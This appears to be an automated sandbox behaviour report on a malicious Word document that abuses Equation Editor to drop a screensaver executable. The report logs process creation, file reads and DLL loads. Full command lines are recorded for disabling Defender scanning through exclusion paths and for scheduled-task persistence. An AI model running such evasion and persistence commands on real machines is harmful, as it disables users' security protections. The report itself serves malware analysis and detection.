Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................nB.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................{B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n................................B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........B.........................s.................... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......B.........................s....................$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................B.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................C.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................C.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................4C.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................FC.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................RC.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............................eC.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................qC.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................D.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l..............."D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............4D.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............@D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............RD.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............^D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......d.......l...............pD.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............\|D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........D.........................s.............."..... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................D.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......D.........................s..............".....$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................D.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................E.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................E.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............".....2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............7E.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............IE.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............UE.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....d.......l...............hE.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............tE.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................ .......................(.P.....................t........=................................................................".....	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................................(.P............. ................l.........................s..............".............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................l.........................s..............4...............".............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................................(.P............. ................l.........................s..............".............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................l.........................s..............4...............".............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................................(.P............. ................l.........................s..............".............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................l.........................s..............4...............".............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n............... ................m.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................m.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........-m.........................s..............4..... .......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............9m.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................................(.P............. ...............Nm.........................s..............".............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............em.........................s..............4...............".............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....wm.........................s..............4.....$.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................m.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................................(.P............. ................m.........................s..............".............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................m.........................s..............4...............".............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............4.....2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. .......D........m.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................................(.P............. ................m.........................s..............".....l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................m.........................s..............4...............".............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P............. ................m.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................n.........................s..............4.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............,j.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................j.........................s............H...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................j.........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................j.........................s............H...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................j.........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................j.........................s............H...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......x.......X................k.........................s............H...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............'k.........................s............H...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........Wm.........................s............H....... .......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X..............."n.........................s............H...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............4n.........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............@n.........................s............H...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....Sn.........................s............H.......$.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............`n.........................s............H...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............rn.........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............~n.........................s............H...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............H.......2.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................n.........................s............H...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X...............~o.........................s....................l.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................o.........................s............H...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....x.......X................o.........................s............H...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....x.......X................o.........................s............H...............H...............
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................\|.4.........E.R.R.O.R.:. ...........,................^......................................(.'.......................4.....
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................\|.4.........E.R.R.O.(.P.............,................^..............................................j.................4.....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: order072724.docx.doc

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr"
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp"
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {52F5B264-C702-43C6-8445-EB0747C55549} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\gRpkBp.exe C:\Users\user\AppData\Roaming\gRpkBp.exe
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpED3D.tmp"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Users\user\AppData\Roaming\gRpkBp.exe "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\gRpkBp.exe C:\Users\user\AppData\Roaming\gRpkBp.exe
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpED3D.tmp"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Users\user\AppData\Roaming\gRpkBp.exe "C:\Users\user\AppData\Roaming\gRpkBp.exe"

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
